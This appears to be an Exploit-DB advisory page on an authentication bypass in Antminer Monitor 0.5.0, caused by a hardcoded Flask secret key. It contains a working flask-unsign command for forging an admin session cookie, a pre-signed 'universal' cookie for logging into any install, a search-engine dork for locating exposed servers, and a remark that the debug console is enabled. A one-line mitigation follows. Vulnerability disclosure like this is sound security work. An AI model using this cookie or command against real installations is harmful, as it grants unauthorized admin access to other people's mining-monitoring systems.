Antminer Monitor 0.5.0 - Authentication Bypass

vendor:

Antminer Monitor

by:

CQR.company / Vulnz.

6,5

CVSS

MEDIUM

Authentication Bypass

N/A

CWE

Product Name: Antminer Monitor

Affected Version From: 0.5.0

Affected Version To: 0.5.0

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Macos

2021

Antminer Monitor 0.5.0 – Authentication Bypass

Vulnerability in Antminer Monitor exists because of backdoor or misconfiguration done by developer inside settings file in flask server. Settings file has a predefined secret string, which would be randomly generated, however it is static in this build.antminer-monitor/settings.py. Secret key is 'super secret key'. Using software flask-unsing we can generate cookie which will provide you admin access. Additionally you can use this universal cookie to access web interface of flask application. This cookie can work on all systems in 'session' field.

Mitigation:

Ensure that the settings file is properly configured and the secret key is not static.

Source

Exploit-DB raw data:

# Exploit Title: Antminer Monitor 0.5.0 - Authentication Bypass
# Date: 09/06/2021
# Dork:https://www.zoomeye.org/searchResult?q=%22antminer%20monitor%22
# Exploit Author: CQR.company / Vulnz.
# Vendor Homepage: https://github.com/anselal/antminer-monitor, https://twitter.com/intent/follow?screen_name=AntminerMonitor
# Software Link: https://github.com/anselal/antminer-monitor, https://soulis.tech/
# Version: 0.5.0
# Tested on: Windows, Linux, Macos


Software is commonly used for Monitoring antminers and could easily be
found in zoomeye ( 800), shodan ( 500).

For now this is the most popular antminer monitoring tool.

Vulnerability in Antminer Monitor exists because of backdoor or
misconfiguration done

by developer inside settings file in flask server.

Settings file has a predefined secret string, which would be randomly
generated, however it is static in this
build.antminer-monitor/settings.py at
5c62e1064af30674bacb9e1917d5980efbde1fcd · anselal/antminer-monitor ·
GitHub <https://github.com/anselal/antminer-monitor/blob/5c62e1064af30674bacb9e1917d5980efbde1fcd/config/settings.py>

Secret key is 'super secret key'.

Based on this information we can craft authorization bypass cookies.

Using software flask-unsing we can generate cookie which will provide
you admin access.

flask-unsign --sign --cookie "{'_fresh': True, '_id':
b'df230a95eb5318d31fa83690c667cfd6a824dbfe61949bf30b9d75e71c6ea20714b87113fcafe2340df9a8a6f3567e7a2faedc2c12d05e4e338558e47afe84f6',
'_user_id': '1', 'csrf_token':
b'15d0261b7f3f40849920ebb94f7a2368397f76ff'}" --secret "super secret
key"

Additionally you can use this universal cookie to access web interface
of flask application.

This cookie can work on all systems in "session" field.

.eJw9j81Og0AURl_FzLoLfmTTpAubaQkm9xLMpeTeTaNAGQdGE9BQp-m7O3HhA3zfOeemzpe5X4zaXl6npd-o83untjf18Ka2SnL-Ab83JZ0mtrUHMiP4o2MaPNpxZc8JJuhEiyl1EUn-7IT4WlKVsWMPeZGJbmOh9speJqZiRX-I2A4p0MGLQyOuDoxqDayMyRgMOyROhToDTow0LxYcXMFVKzZ1JAS-1HVc5nWEyTHwhkgs79Q9uH8v_fwXoGK1Ue0yX85fn2P_8V8EdBpBFwk0RSoWHeqnR9RjBnY_sSsyzDkNlqFu8CV1DoOjDLvwfv8FnZ1jTQ.YS2Hvw.a-bvt7Y4e2kKNs0iXkRxHnRRJAU


In addition DEBUG = True which means /console works, however it needs pin.